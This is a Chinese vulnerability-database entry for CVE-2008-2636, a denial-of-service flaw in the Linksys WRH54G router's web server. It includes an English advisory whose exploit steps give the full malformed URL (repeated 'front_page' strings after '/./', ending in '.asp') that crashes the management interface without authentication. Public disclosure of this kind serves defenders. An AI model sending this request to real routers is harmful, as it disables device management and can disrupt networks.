Cisco Linksys_wrh54g_router HTTP服务器拒绝服务攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1186600 漏洞类型 输入验证
发布时间 2008-06-09 更新时间 2008-06-09
CVE编号 CVE-2008-2636 CNNVD-ID CNNVD-200806-137
漏洞平台 N/A CVSS评分 7.8
|漏洞来源
https://www.securityfocus.com/bid/84938
https://cxsecurity.com/issue/WLB-2008060029
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200806-137
|漏洞详情
带有固件1.01.03版本的CiscoLinksysWRH54G上的HTTP服务器允许远程攻击者借助一个URI,引起拒绝服务攻击(管理界面损耗)或可能执行任意代码。该URI以"/./"序列开始,包含许多"front_page"序列,以".asp"序列结束。
|漏洞EXP
 1. DESCRIPTION

There is a DoS vulnerability in Cisco Linksys router WRH54G http service. Any anonymous attacker could crash the http service easily by sending a malformed http request, and needn't any privilege.

When the device attempts to process the malformed request, it will be possible to corrupt sensitive memory. Although unconfirmed, it may also be possible to modify various configuration settings or execute malicious code.

After being attacked, Cisco Linksys router can't be accessed remotely by any user. Http service is not recovered and the attacked router can not be managed without a hard reboot. A reboot of router may cause network disconnected. 

Further more, the firewall can still route packets. 

2. Affected products and versions

Affected products:
Cisco Linksys WRH54G and other devices 
(bacause I have no enough other Linksys routers in hand, I can't make sure how many devices this vulnerability can effect.)

Affected versions:
The lasted Firmware v1.01.03  

If Need any privilege:
No

3. ANALYSIS

A malformed http request can cause the http service crashed. The malformed request is mixed by string ./ and overly charactors. Its format is as follows:
http://192.168.1.1/./front_page......front_page.asp

4. EXPLOIT STEPS

4.1 Make sure the router is running normally, and the Web server is right.

4.2 Open the explorer, type following malformed URL, and press ENTER:
http://192.168.1.106/./front_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_p
 agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page.asp

4.3 Check the http service, it can't work.


Note:

1. The string ./ in malformed request is necessary. Lack of this string, the http server will ask the anonymous to input auth information.

2. the string .asp in the end of malformed request is also necessary. Lack of this string, we can not crash the http server.

3. The firmware information could be found at: http://www-cn.linksys.com/servlet/Satellite?childpagename=CN%2FLayout&packedargs=page%3D2%26cid%3D1140648553423%26c%3DL_Content_C1&pagename=Linksys%2FCommon%2FVisitorWrapper&SubmittedElement=Linksys%2FFormSubmit%2FProductDownloadSearch&sp_prodsku=1172713275887

4. There is another DoS vulnerability about malformed http request in Linksys devices(http://www.securityfocus.com/bid/6301/info).
The description and explit are different from this vulnerability. 
|受影响的产品
Cisco Linksys Wrh54g Router 1.1.3
|参考资料

来源:XF
名称:linksys-wrh54g-http-dos(42890)
链接:http://xforce.iss.net/xforce/xfdb/42890
来源:SECTRACK
名称:1020237
链接:http://www.securitytracker.com/id?1020237
来源:BUGTRAQ
名称:20080605RemoteDoSvulnerabilityinLinksysWRH54G
链接:http://www.securityfocus.com/archive/1/archive/1/493129/100/0/threaded
来源:VUPEN
名称:ADV-2008-1772
链接:http://www.frsirt.com/english/advisories/2008/1772/references
来源:SREASON
名称:3929
链接:http://securityreason.com/securityalert/3929
来源:SECUNIA
名称:30562
链接:http://secunia.com/advisories/30562